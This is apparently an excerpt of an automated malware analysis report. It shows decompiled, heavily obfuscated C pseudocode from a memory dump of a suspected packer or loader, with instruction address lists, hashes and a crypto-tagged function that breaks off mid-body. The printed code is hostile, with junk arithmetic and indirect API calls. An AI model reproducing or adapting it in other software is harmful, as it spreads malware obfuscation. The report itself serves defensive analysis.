					_t475 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x14), _t648);
					 *(_t744 - 0x10) = _t603;
					 *(_t570 + 0x41cf1d) =  *(_t570 + 0x41cf1d) & 0x00000000;
					 *(_t570 + 0x41cf1d) =  *(_t570 + 0x41cf1d) ^ (_t603 ^  *(_t744 - 0x10) | _t475);
					_t476 =  *((intOrPtr*)(_t570 + 0x41f054))();
					 *(_t744 - 0x14) = 0;
					 *_t760 =  *_t760 + _t476;
					_t176 = _t570 + 0x41c49b; // 0x41c49b
					 *(_t744 - 0x10) = 0;
					 *_t760 =  *_t760 + _t176;
					_t478 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10),  *(_t744 - 0x14));
					 *(_t744 - 0x14) = _t709;
					 *(_t570 + 0x41c8aa) =  *(_t570 + 0x41c8aa) & 0x00000000;
					 *(_t570 + 0x41c8aa) =  *(_t570 + 0x41c8aa) | _t709 & 0x00000000 ^ _t478;
					_t712 =  *(_t744 - 0x14);
					_t761 = _t760 - 0xfffffffc;
					 *(_t744 - 0x10) = _t648;
					 *(_t744 - 4) =  *(_t744 - 4) & 0x00000000;
					 *(_t744 - 4) =  *(_t744 - 4) ^ _t648 -  *(_t744 - 0x10) ^ _t478 & 0x00000000 ^  *_t760;
					_t651 =  *(_t744 - 0x10);
					_t193 = _t570 + 0x41c279; // 0x41c279
					 *_t761 = _t193;
					_t195 = _t570 + 0x41d1ea; // 0x41d1ea
					 *_t761 =  *_t761 - _t712;
					 *_t761 = _t195;
					_t483 =  *((intOrPtr*)(_t570 + 0x41f068))(_t712,  *(_t744 - 0x14));
					 *(_t744 - 0x14) =  *(_t744 - 0x10);
					 *(_t570 + 0x41cbc5) = 0 ^ _t483;
					_t609 =  *(_t744 - 0x14);
					do {
						if(( *_t712 & 0x80000000) != 0) {
							_t761[1] =  *_t712;
							_t572 = _t570;
							 *_t761 =  *_t761 ^ _t712;
							 *_t761 =  *_t761 ^ _t572 + 0x0041d099;
							_t485 =  *((intOrPtr*)(_t572 + 0x41f060))(_t744);
							 *_t761 = _t609;
							 *(_t572 + 0x41c24c) = 0 ^ _t485;
							_t612 = 0;
							 *_t299 = _t712;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 + _t572 + 0x41cdd2;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 | _t572 + 0x0041c846;
							_t488 =  *((intOrPtr*)(_t572 + 0x41f068))(_t744, _t685);
							 *(_t744 - 0x10) = _t651;
							 *(_t572 + 0x41c9fe) = 0 ^ _t488;
							_t654 =  *(_t744 - 0x10);
							 *(_t744 - 0xc) =  *(_t744 - 0xc) & 0x0000ffff;
							 *_t761 =  *_t761 ^ _t654;
							 *_t761 =  *_t761 | _t572 + 0x0041c9e4;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 ^ _t572 + 0x0041c746;
							_t491 =  *((intOrPtr*)(_t572 + 0x41f068))(_t654, _t654);
							 *(_t744 - 0x14) = _t654;
							 *(_t572 + 0x41c559) =  *(_t572 + 0x41c559) & 0x00000000;
							 *(_t572 + 0x41c559) =  *(_t572 + 0x41c559) ^ (_t654 ^  *(_t744 - 0x14) | _t491);
							_t657 =  *(_t744 - 0x14);
						} else {
							_t202 = _t570 + 0x41c8e1; // 0x41c8e1
							 *_t761 =  *_t761 - _t651;
							 *_t761 =  *_t761 | _t202;
							_t525 =  *((intOrPtr*)(_t570 + 0x41f060))(_t651);
							 *(_t744 - 0x10) = 0;
							 *_t761 =  *_t761 | _t525;
							_t206 = _t570 + 0x41c6e2; // 0x41c6e2
							 *_t761 =  *_t761 - _t570;
							 *_t761 =  *_t761 | _t206;
							_t527 =  *((intOrPtr*)(_t570 + 0x41f060))(_t570,  *(_t744 - 0x10));
							_t623 = (_t609 & 0x00000000) +  *_t761;
							_t764 = _t761 - 0xfffffffc;
							 *_t764 =  *_t764 + _t685;
							_t691 = _t527;
							_t528 = _t691 + _t623;
							_t693 = 0;
							 *(_t744 - 0x10) = _t651;
							_t625 = _t623 & 0x00000000 ^ _t651 ^  *(_t744 - 0x10) ^  *(_t570 + 0x41c521);
							_t664 =  *(_t744 - 0x10);
							if(_t625 > _t528) {
								_t212 = _t570 + 0x41c8e1; // 0x41c8e1
								 *_t764 =  *_t764 & 0x00000000;
								 *_t764 =  *_t764 | _t212;
								_t213 = _t570 + 0x41c6e2; // 0x41c6e2
								 *_t764 = _t213;
								_t528 =  *((intOrPtr*)(_t570 + 0x41f064))( *(_t744 - 0x10), _t712);
							}
							 *(_t570 + 0x41c56c) =  *(_t570 + 0x41c56c) & 0x00000000;
							 *(_t570 + 0x41c56c) =  *(_t570 + 0x41c56c) ^ (_t744 & 0x00000000 | _t528);
							_t744 = _t744;
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 + _t712;
							_t220 = _t570 + 0x41c266; // 0x41c266
							 *_t764 = _t220;
							_push( *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10), _t528));
							_pop( *_t223);
							_push( *(_t744 - 0x10));
							_pop( *_t225);
							_t729 =  *_t712;
							_t226 = _t570 + 0x41ce1f; // 0x41ce1f
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 ^ _t226;
							_t532 =  *((intOrPtr*)(_t570 + 0x41f060))(_t729);
							 *(_t744 - 0x10) = 0;
							 *_t764 =  *_t764 ^ _t532;
							_t230 = _t570 + 0x41c0ad; // 0x41c0ad
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 | _t230;
							_t534 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x10));
							_pop( *_t235);
							_t627 = _t625 & 0x00000000 |  *(_t744 - 0x14);
							 *_t237 = _t534;
							 *(_t744 - 0x10) =  *(_t744 - 0x10) + _t627;
							_push( *(_t744 - 0x10));
							_pop(_t535);
							_t666 = _t664;
							 *(_t744 - 0x10) = _t729;
							_t629 = _t627 & 0x00000000 | _t729 & 0x00000000 ^  *(_t570 + 0x41c765);
							_t732 =  *(_t744 - 0x10);
							if(_t629 > _t535) {
								_t244 = _t570 + 0x41ce1f; // 0x41ce1f
								 *_t764 = _t244;
								_t246 = _t570 + 0x41c0ad; // 0x41c0ad
								 *_t764 =  *_t764 & 0x00000000;
								 *_t764 =  *_t764 | _t246;
								_t535 =  *((intOrPtr*)(_t570 + 0x41f064))(_t744,  *(_t744 - 0x14));
							}
							 *_t764 = _t666;
							 *(_t570 + 0x41c497) = 0 ^ _t535;
							_t669 = 0;
							 *_t764 = _t693;
							_t694 = _t732;
							_t733 = _t694 +  *(_t744 + 8);
							_t696 = 0;
							_t250 = _t570 + 0x41d159; // 0x41d159
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 ^ _t250;
							_t254 = _t570 + 0x41d213; // 0x41d213
							 *(_t744 - 0x10) = 0;
							 *_t764 =  *_t764 + _t254;
							_t538 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x10),  *(_t744 - 0x14));
							 *(_t744 - 0x14) = _t733;
							 *(_t570 + 0x41d182) =  *(_t570 + 0x41d182) & 0x00000000;
							 *(_t570 + 0x41d182) =  *(_t570 + 0x41d182) ^ (_t733 ^  *(_t744 - 0x14) | _t538);
							_t612 = _t629;
							_t265 = _t570 + 0x41c85c; // 0x41c85c
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 | _t265;
							_t266 = _t570 + 0x41c10e; // 0x41c10e
							 *_t764 = _t266;
							_t541 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x14), _t669);
							 *(_t570 + 0x41ce00) =  *(_t570 + 0x41ce00) & 0x00000000;
							 *(_t570 + 0x41ce00) =  *(_t570 + 0x41ce00) | _t669 & 0x00000000 | _t541;
							_t672 = _t669;
							_push( *(_t744 - 0x14) + 2);
							_pop( *_t273);
							_push( *(_t744 - 0x14));
							_pop( *_t275);
							_t276 = _t570 + 0x41c9a3; // 0x41c9a3
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 ^ _t276;
							_t280 = _t570 + 0x41d1fa; // 0x41d1fa
							 *_t764 = _t280;
							_t544 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x14),  *(_t744 - 0x14));
							 *_t764 = _t672;
							 *((intOrPtr*)(_t570 + 0x41d0fe)) = _t544;
							_t657 = 0;
							_t712 = 0 ^  *_t764;
							_t761 =  &(_t764[1]);
							_t284 = _t570 + 0x41d0af; // 0x41d0af
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 | _t284;
							_t285 = _t570 + 0x41ceae; // 0x41ceae
							 *_t761 = _t285;
							_t491 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x10), _t612);
							 *(_t744 - 0x10) = _t696;
							 *(_t570 + 0x41c8cd) =  *(_t570 + 0x41c8cd) & 0x00000000;
							 *(_t570 + 0x41c8cd) =  *(_t570 + 0x41c8cd) ^ _t696 -  *(_t744 - 0x10) ^ _t491;
							_t685 =  *(_t744 - 0x10);
						}
						 *(_t744 - 0x10) = _t572;
						_t575 =  *(_t744 - 0x10);
						_t322 = _t575 + 0x41cb0b; // 0x41cb0b
						 *(_t744 - 0x14) = 0;
						 *_t761 =  *_t761 | _t322;
						_t495 =  *((intOrPtr*)(_t575 + 0x41f060))( *(_t744 - 0x14));
						 *_t761 = _t495;
						_t327 = _t575 + 0x41cda5; // 0x41cda5
						 *_t761 = _t327;
						_t497 =  *((intOrPtr*)(_t575 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x10));
						_t762 = _t761 - 0xfffffffc;
						 *_t762 =  *_t762 ^ _t744;
						_t745 = _t497;
						_t498 = _t745 +  *_t761;
						_t747 = 0;
						 *(_t747 - 0x14) = _t712;
						_t615 =  *(_t575 + 0x41c96a);
						_t715 =  *(_t747 - 0x14);
						if(_t615 > _t498) {
							_t333 = _t575 + 0x41cb0b; // 0x41cb0b
							 *_t762 =  *_t762 & 0x00000000;
							 *_t762 =  *_t762 | _t333;
							_t334 = _t575 + 0x41cda5; // 0x41cda5
							 *(_t747 - 0x14) =  *(_t747 - 0x14) & 0x00000000;
							 *_t762 =  *_t762 | _t334;
							_t498 =  *((intOrPtr*)(_t575 + 0x41f064))( *(_t747 - 0x14), _t747);
						}
						 *_t339 = _t498;
						 *_t341 =  *(_t747 - 0x10);
						_t762[1] =  *(_t747 - 0xc);
						_t577 = _t575;
						_t344 = _t577 + 0x41cee2; // 0x41cee2
						 *_t762 = _t344;
						_t346 = _t577 + 0x41d33a; // 0x41d33a
						 *(_t747 - 0x14) = 0;
						 *_t762 =  *_t762 | _t346;
						_t501 =  *((intOrPtr*)(_t577 + 0x41f068))( *(_t747 - 0x14),  *(_t747 - 0x10), _t615);
						 *(_t577 + 0x41d1da) =  *(_t577 + 0x41d1da) & 0x00000000;
						 *(_t577 + 0x41d1da) =  *(_t577 + 0x41d1da) | _t715 -  *_t762 | _t501;
						_t718 = _t715;
						 *(_t747 - 0x10) = _t685;
						_t688 =  *(_t747 - 0x10);
						 *_t762 =  *_t762 - _t657;
						 *_t762 =  *_t762 ^ (_t501 & 0x00000000 | _t685 ^  *(_t747 - 0x10) |  *(_t747 - 4));
						_t358 = _t577 + 0x41d2b3; // 0x41d2b3
						 *_t762 =  *_t762 - _t657;
						 *_t762 = _t358;
						_t359 = _t577 + 0x41cb87; // 0x41cb87
						 *(_t747 - 0x10) =  *(_t747 - 0x10) & 0x00000000;
						 *_t762 =  *_t762 + _t359;
						_t506 =  *((intOrPtr*)(_t577 + 0x41f068))( *(_t747 - 0x10), _t657, _t657);
						 *(_t747 - 0x10) = _t615;
						 *(_t577 + 0x41cf9a) =  *(_t577 + 0x41cf9a) & 0x00000000;
						 *(_t577 + 0x41cf9a) =  *(_t577 + 0x41cf9a) | _t615 ^  *(_t747 - 0x10) | _t506;
						_t618 =  *(_t747 - 0x10);
						_t763 =  &(_t762[1]);
						 *(_t747 - 0x10) = 0;
						 *_t763 =  *_t763 ^  *_t762;
						_t373 = _t577 + 0x41c922; // 0x41c922
						 *(_t747 - 0x10) = 0;
						 *_t763 =  *_t763 | _t373;
						_t376 = _t577 + 0x41c97d; // 0x41c97d
						 *_t763 =  *_t763 & 0x00000000;
						 *_t763 =  *_t763 + _t376;
						_t511 =  *((intOrPtr*)(_t577 + 0x41f068))(_t618,  *(_t747 - 0x10),  *(_t747 - 0x10));
						 *(_t577 + 0x41cae1) =  *(_t577 + 0x41cae1) & 0x00000000;
						 *(_t577 + 0x41cae1) =  *(_t577 + 0x41cae1) | _t747 & 0x00000000 | _t511;
						_t744 = _t747;
						_t512 =  *((intOrPtr*)(_t577 + 0x41f050))();
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 + _t512;
						_t385 = _t577 + 0x41c197; // 0x41c197
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 | _t385;
						_t514 =  *((intOrPtr*)(_t577 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x14));
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 | _t514;
						_t391 = _t577 + 0x41c46f; // 0x41c46f
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 ^ _t391;
						_t516 =  *((intOrPtr*)(_t577 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x14));
						_pop( *_t395);
						_t620 = (_t618 & 0x00000000) +  *(_t744 - 0x10);
						 *_t397 = _t516;
						 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t620;
						_push( *(_t744 - 0x14));
						_pop(_t517);
						_t579 = _t577;
						 *(_t744 - 0x10) = _t688;
						_t609 = _t620 & 0x00000000 ^ _t688 -  *(_t744 - 0x10) ^  *(_t579 + 0x41c9d0);
						_t685 =  *(_t744 - 0x10);
						if(_t609 > _t517) {
							_t405 = _t579 + 0x41c197; // 0x41c197
							 *_t763 =  *_t763 & 0x00000000;
							 *_t763 =  *_t763 + _t405;
							_t406 = _t579 + 0x41c46f; // 0x41c46f
							 *(_t744 - 0x10) = 0;
							 *_t763 =  *_t763 ^ _t406;
							_t517 =  *((intOrPtr*)(_t579 + 0x41f064))( *(_t744 - 0x10), _t718);
							 *(_t579 + 0x41cfe1) =  *(_t579 + 0x41cfe1) & 0x00000000;
							 *(_t579 + 0x41cfe1) =  *(_t579 + 0x41cfe1) | _t744 ^  *_t763 ^ _t517;
							_t744 = _t744;
						}
						_t761 =  &(_t763[1]);
						 *_t761 =  *_t761 ^ _t744;
						 *_t761 = _t718;
						 *_t761 = _t517 & 0x00000000 |  *_t763;
						_t522 = 0;
						 *_t761 = _t657;
						 *((intOrPtr*)( *((intOrPtr*)(_t744 - 8)))) = _t522;
						_t660 = 0;
						 *_t415 = _t744;
						 *_t761 = 4;
						_t523 = _t579;
						 *_t417 = 0 ^  *(_t744 - 0x14);
						 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t523;
						_push( *(_t744 - 0x14));
						_pop(_t712);
						_t651 = _t660;
						 *_t422 =  *((intOrPtr*)(_t744 - 8));
						 *(_t744 - 0x10) =  *(_t744 - 0x10) + _t523;
						_push( *(_t744 - 0x10));
						_pop( *_t426);
						_t570 = _t579;
					} while ( *_t712 != 0);
					_t680 = _t685 + 0x14;
					_t701 = _t712;
				} while ( *_t680 != 0 ||  *(_t680 + 0x10) != 0);
				 *_t761 =  *_t761 ^ _t523;
				_t555 = _t523;
				return _t555;
			}

0x007d5262
0x007d5262
0x007d5268
0x007d526f
0x007d5272
0x007d527b
0x007d527c
0x007d527f
0x007d5282
0x007d5288
0x007d5290
0x007d5297
0x007d52a0
0x007d52a6
0x007d52ac
0x007d52ad
0x007d52b1
0x007d52b4
0x007d52ba
0x007d52c2
0x007d52c9
0x007d52d2
0x007d52da
0x007d52de
0x007d52df
0x007d52e5
0x007d52e6
0x007d52ea
0x007d52ed
0x007d52f3
0x007d52f4
0x007d52f8
0x007d52fb
0x007d5303
0x007d530a
0x007d5310
0x007d5311
0x007d5314
0x007d5405
0x007d540b
0x007d540c
0x007d5413
0x007d5417
0x007d541a
0x007d5421
0x007d5424
0x007d5427
0x007d5433
0x007d543a
0x007d5440
0x007d531a
0x007d531a
0x007d5320
0x007d532a
0x007d532d
0x007d5333
0x007d533a
0x007d5343
0x007d5346
0x007d5349
0x007d534c
0x007d534d
0x007d5356
0x007d5359
0x007d5365
0x007d536c
0x007d5372
0x007d5372
0x007d5445
0x007d5445
0x007d5448
0x007d544f
0x007d5452
0x007d5455
0x007d545d
0x007d5464
0x007d546a
0x007d546b
0x007d546e
0x007d5477
0x007d547a
0x007d5480
0x007d5487
0x007d548a
0x007d5491
0x007d5495
0x007d5498
0x007d54a0
0x007d54a3
0x007d54aa
0x007d54ad
0x007d54b0
0x007d54b3
0x007d54b4
0x007d54b5
0x007d54c4
0x007d54c6
0x007d54cb
0x007d54cd
0x007d54d6
0x007d54d9
0x007d54df
0x007d54e6
0x007d54e9
0x007d54e9
0x007d54ef
0x007d54f7
0x007d54fe
0x007d5504
0x007d5507
0x007d5515
0x007d5519
0x007d551d
0x007d5520
0x007d5527
0x007d552b
0x007d552e
0x007d5535
0x007d5539
0x007d553c
0x007d5542
0x007d554a
0x007d5551
0x007d5557
0x007d555a
0x007d5562
0x007d5565
0x007d5568
0x007d556b
0x007d556e
0x007d556f
0x007d5576
0x007d5579
0x007d557c
0x007d5582
0x007d558c
0x007d5595
0x007d5596
0x007d5599
0x007d559c
0x007d55a2
0x007d55a5
0x007d55a8
0x007d55ab
0x007d55ad
0x007d55b1
0x007d55b4
0x007d55bb
0x007d55be
0x007d55c1
0x007d55c7
0x007d55cf
0x007d55d6
0x007d55dc
0x007d55e8
0x007d55eb
0x007d55ed
0x007d55f0
0x007d55f1
0x007d55fb
0x007d55fe
0x007d5607
0x007d560a
0x007d5611
0x007d5614
0x007d5617
0x007d561d
0x007d5624
0x007d5627
0x007d562f
0x007d5632
0x007d5635
0x007d563c
0x007d563d
0x007d5640
0x007d564e
0x007d5650
0x007d5653
0x007d5655
0x007d565b
0x007d5662
0x007d5665
0x007d566b
0x007d5675
0x007d5678
0x007d567e
0x007d5685
0x007d568b
0x007d568b
0x007d5694
0x007d569c
0x007d56a0
0x007d56a4
0x007d56a6
0x007d56a8
0x007d56ac
0x007d56af
0x007d56b8
0x007d56bb
0x007d56c2
0x007d56c6
0x007d56c9
0x007d56cf
0x007d56d6
0x007d56dc
0x007d56e1
0x007d56e4
0x007d56e8
0x007d56eb
0x007d56ee
0x007d56f4
0x007d56fe
0x007d5701
0x007d5707
0x007d570f
0x007d5716
0x007d571f
0x007d5725
0x007d572f
0x007d5732
0x007d5738
0x007d5742
0x007d5745
0x007d574b
0x007d5753
0x007d575a
0x007d5760
0x007d576c
0x007d576f
0x007d5777
0x007d577b
0x007d577e
0x007d5781
0x007d578a
0x007d578d
0x007d5794
0x007d5797
0x007d579a
0x007d57a0
0x007d57a7
0x007d57ad
0x007d57b0
0x007d57b6
0x007d5a4d
0x007d5a51
0x007d5a59
0x007d5a5c
0x007d5a5f
0x007d5a67
0x007d5a6e
0x007d5a74
0x007d5a75
0x007d5a7f
0x007d5a83
0x007d5a8d
0x007d5a91
0x007d5a94
0x007d5a9a
0x007d5aa1
0x007d5aa7
0x007d5aaa
0x007d5ab8
0x007d5abb
0x007d5ac5
0x007d5ac9
0x007d5acc
0x007d5ad2
0x007d5ada
0x007d5ae1
0x007d5ae7
0x007d57bc
0x007d57bc
0x007d57c3
0x007d57c6
0x007d57c9
0x007d57cf
0x007d57d9
0x007d57dc
0x007d57e3
0x007d57e6
0x007d57e9
0x007d57f5
0x007d57f8
0x007d57fd
0x007d5801
0x007d5804
0x007d5806
0x007d5807
0x007d5816
0x007d5818
0x007d581d
0x007d581f
0x007d5826
0x007d582a
0x007d582d
0x007d5836
0x007d5839
0x007d5839
0x007d5845
0x007d584c
0x007d5852
0x007d5854
0x007d5858
0x007d585b
0x007d5864
0x007d586d
0x007d586e
0x007d5871
0x007d5874
0x007d587a
0x007d587c
0x007d5883
0x007d5887
0x007d588a
0x007d5890
0x007d589a
0x007d589d
0x007d58a3
0x007d58aa
0x007d58ad
0x007d58b9
0x007d58bc
0x007d58c3
0x007d58c6
0x007d58c9
0x007d58cc
0x007d58cd
0x007d58ce
0x007d58dd
0x007d58df
0x007d58e4
0x007d58e6
0x007d58ef
0x007d58f2
0x007d58f9
0x007d58fd
0x007d5900
0x007d5900
0x007d5908
0x007d590f
0x007d5915
0x007d5918
0x007d591c
0x007d5920
0x007d5922
0x007d5923
0x007d5929
0x007d5930
0x007d5933
0x007d5939
0x007d5943
0x007d5946
0x007d594c
0x007d5954
0x007d595b
0x007d596f
0x007d5970
0x007d5977
0x007d597b
0x007d597e
0x007d5987
0x007d598a
0x007d5996
0x007d599d
0x007d59a3
0x007d59a4
0x007d59a5
0x007d59a8
0x007d59ab
0x007d59ae
0x007d59b4
0x007d59bb
0x007d59be
0x007d59c7
0x007d59ca
0x007d59d2
0x007d59d9
0x007d59df
0x007d59e2
0x007d59e5
0x007d59e8
0x007d59ef
0x007d59f3
0x007d59f6
0x007d59ff
0x007d5a02
0x007d5a08
0x007d5a10
0x007d5a17
0x007d5a1d
0x007d5a1d
0x007d5aea
0x007d5af8
0x007d5afb
0x007d5b01
0x007d5b0b
0x007d5b0e
0x007d5b17
0x007d5b1a
0x007d5b23
0x007d5b26
0x007d5b35
0x007d5b3a
0x007d5b3e
0x007d5b41
0x007d5b43
0x007d5b44
0x007d5b4f
0x007d5b51
0x007d5b56
0x007d5b58
0x007d5b5f
0x007d5b63
0x007d5b66
0x007d5b6c
0x007d5b73
0x007d5b76
0x007d5b76
0x007d5b7d
0x007d5b83
0x007d5b8e
0x007d5b92
0x007d5b93
0x007d5b9c
0x007d5b9f
0x007d5ba5
0x007d5baf
0x007d5bb2
0x007d5bbe
0x007d5bc5
0x007d5bcb
0x007d5bcc
0x007d5bda
0x007d5bde
0x007d5be1
0x007d5be4
0x007d5beb
0x007d5bee
0x007d5bf1
0x007d5bf7
0x007d5bfe
0x007d5c01
0x007d5c07
0x007d5c0f
0x007d5c16
0x007d5c1c
0x007d5c28
0x007d5c2b
0x007d5c35
0x007d5c38
0x007d5c3e
0x007d5c48
0x007d5c4b
0x007d5c52
0x007d5c56
0x007d5c59
0x007d5c65
0x007d5c6c
0x007d5c72
0x007d5c73
0x007d5c79
0x007d5c83
0x007d5c86
0x007d5c8c
0x007d5c96
0x007d5c99
0x007d5c9f
0x007d5ca9
0x007d5cac
0x007d5cb2
0x007d5cbc
0x007d5cbf
0x007d5ccb
0x007d5cce
0x007d5cd5
0x007d5cd8
0x007d5cdb
0x007d5cde
0x007d5cdf
0x007d5ce0
0x007d5cef
0x007d5cf1
0x007d5cf6
0x007d5cf8
0x007d5cff
0x007d5d03
0x007d5d06
0x007d5d0c
0x007d5d16
0x007d5d19
0x007d5d25
0x007d5d2c
0x007d5d32
0x007d5d32
0x007d5d3c
0x007d5d40
0x007d5d43
0x007d5d48
0x007d5d52
0x007d5d55
0x007d5d5c
0x007d5d5e
0x007d5d61
0x007d5d68
0x007d5d6f
0x007d5d74
0x007d5d77
0x007d5d7a
0x007d5d7d
0x007d5d7e
0x007d5d85
0x007d5d88
0x007d5d8b
0x007d5d8e
0x007d5d91
0x007d5d92
0x007d5da4
0x007d5da6
0x007d5da7
0x007d5dbb
0x007d5dbe
0x007d5dd0

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2616795092f367d06362dbc9c4ea195590f79d012455bc9ff3e9898c1f741067
Instruction ID: d098c7ad97e984651d3047dc1cc1d3c99e6b36116e28ac8b90392ee7ea490cbf
Opcode Fuzzy Hash: 2616795092f367d06362dbc9c4ea195590f79d012455bc9ff3e9898c1f741067
Instruction Fuzzy Hash: C5724472844219DFEF04DFA0C9897EEBBF0FF08311F15486ED889AA145D7781664CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 007D5378, Relevance: .7, Instructions: 726
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E007D5378(signed int __ebx, signed int __ecx, intOrPtr* __edi, signed int __esi) {
				void* _t419;
				void* _t421;
				signed int _t422;
				signed int _t425;
				signed int _t428;
				intOrPtr _t430;
				signed int _t432;
				void* _t434;
				signed int _t435;
				signed int _t438;
				signed int _t443;
				signed int _t449;
				void* _t450;
				signed int _t454;
				void* _t456;
				intOrPtr _t457;
				intOrPtr _t460;
				signed int _t462;
				void* _t463;
				signed int _t465;
				signed int _t470;
				signed int _t472;
				signed int _t475;
				signed int _t478;
				signed int _t482;
				void* _t484;
				void* _t485;
				signed int _t488;
				signed int _t493;
				signed int _t498;
				void* _t499;
				signed int _t501;
				void* _t503;
				signed int _t504;
				intOrPtr _t509;
				signed int _t510;
				signed int _t512;
				void* _t514;
				signed int _t515;
				signed int _t519;
				void* _t521;
				signed int _t522;
				signed int _t525;
				signed int _t528;
				intOrPtr _t531;
				signed int _t539;
				signed int _t541;
				void* _t542;
				signed int _t551;
				signed int _t554;
				signed int _t557;
				signed int _t559;
				signed int _t562;
				void* _t564;
				void* _t566;
				signed int _t573;
				signed int _t575;
				void* _t576;
				signed int _t581;
				signed int _t583;
				void* _t586;
				signed int _t588;
				signed int _t590;
				signed int _t596;
				void* _t599;
				signed int _t602;
				signed int _t605;
				signed int _t607;
				signed int _t610;
				signed int _t612;
				signed int _t614;
				signed int _t616;
				signed int _t619;
				signed int _t622;
				signed int _t626;
				signed int _t629;
				signed int _t632;
				signed int _t635;
				signed int _t638;
				signed int _t641;
				signed int _t644;
				signed int _t647;
				void* _t650;
				signed int _t654;
				signed int _t656;
				signed int _t659;
				signed int _t662;
				intOrPtr* _t665;
				signed int _t667;
				signed int _t670;
				signed int _t673;
				void* _t676;
				signed int _t678;
				void* _t679;
				signed int _t681;
				signed int _t687;
				signed int _t690;
				void* _t691;
				signed int _t693;
				signed int _t694;
				signed int _t697;
				signed int _t700;
				signed int _t703;
				signed int _t714;
				signed int _t717;
				signed int _t718;
				signed int _t726;
				void* _t727;
				signed int _t729;
				signed int* _t739;
				signed int* _t740;
				signed int* _t741;
				signed int* _t742;
				signed int* _t743;
				signed int* _t744;
				signed int* _t745;
				signed int* _t746;
				signed int* _t747;

				_t686 = __esi;
				_t665 = __edi;
				_t551 = __ebx;
				_push(__esi);
				 *_t739 =  *_t739 ^ __esi;
				 *_t739 =  *_t739 | __ebx + 0x0041c174;
				_t419 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_t619);
				 *_t739 =  *_t739 - _t619;
				 *_t739 =  *_t739 + _t419;
				_push(__edi);
				 *_t739 =  *_t739 & 0x00000000;
				 *_t739 =  *_t739 + __ebx + 0x41c53c;
				_t421 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t740 = _t739 - 0xfffffffc;
				 *(_t726 - 0x14) = _t619;
				_push((__ecx & 0x00000000 ^  *_t739) + _t421);
				_t622 =  *(_t726 - 0x14);
				_pop(_t422);
				 *(_t726 - 0x14) = _t422;
				_t425 =  *(_t726 - 0x14);
				if((0 ^  *(__ebx + 0x41c2dd)) > _t425) {
					 *__esp =  *__esp & 0x00000000;
					 *__esp =  *__esp + __ebx + 0x41c174;
					 *(__ebp - 0x14) =  *(__ebp - 0x14) & 0x00000000;
					 *__esp =  *__esp | __ebx + 0x0041c53c;
					 *((intOrPtr*)(__ebx + 0x41f064))( *(__ebp - 0x14), __ecx);
				}
				 *_t33 = _t425;
				 *_t35 =  *(_t726 - 0x14);
				while(1) {
					L5:
					 *_t36 =  *_t665;
					_t687 =  *(_t726 - 0x14);
					_t38 = _t551 + 0x41d32a; // 0x41d32a
					 *_t740 =  *_t740 & 0x00000000;
					 *_t740 =  *_t740 ^ _t38;
					_t39 = _t551 + 0x41cdb4; // 0x41cdb4
					 *_t740 =  *_t740 ^ _t726;
					 *_t740 = _t39;
					_t428 =  *((intOrPtr*)(_t551 + 0x41f068))(_t726, _t726);
					 *(_t551 + 0x41cada) =  *(_t551 + 0x41cada) & 0x00000000;
					 *(_t551 + 0x41cada) =  *(_t551 + 0x41cada) | _t622 & 0x00000000 ^ _t428;
					_t622 = _t622;
					while(1) {
						_t626 =  *_t740;
						 *_t740 =  *(_t665 + 0x10);
						_t47 = _t551 + 0x41c661; // 0x41c661
						 *_t740 =  *_t740 ^ _t726;
						 *_t740 =  *_t740 + _t47;
						_t430 =  *((intOrPtr*)(_t551 + 0x41f060))(_t622);
						 *_t740 = _t687;
						 *((intOrPtr*)(_t551 + 0x41d31e)) = _t430;
						_t690 = 0;
						 *_t50 = _t726;
						_t51 = _t551 + 0x41c5b3; // 0x41c5b3
						 *_t740 = _t51;
						_t432 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x10));
						 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
						 *_t740 =  *_t740 ^ _t432;
						_t57 = _t551 + 0x41c868; // 0x41c868
						 *_t740 =  *_t740 & 0x00000000;
						 *_t740 =  *_t740 ^ _t57;
						_t434 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x14));
						 *_t59 = _t665;
						_t573 = 0 ^  *(_t726 - 0x10);
						 *_t61 = _t434;
						 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t573;
						_push( *(_t726 - 0x14));
						_pop(_t435);
						_t667 = _t665;
						 *(_t726 - 0x14) = _t435;
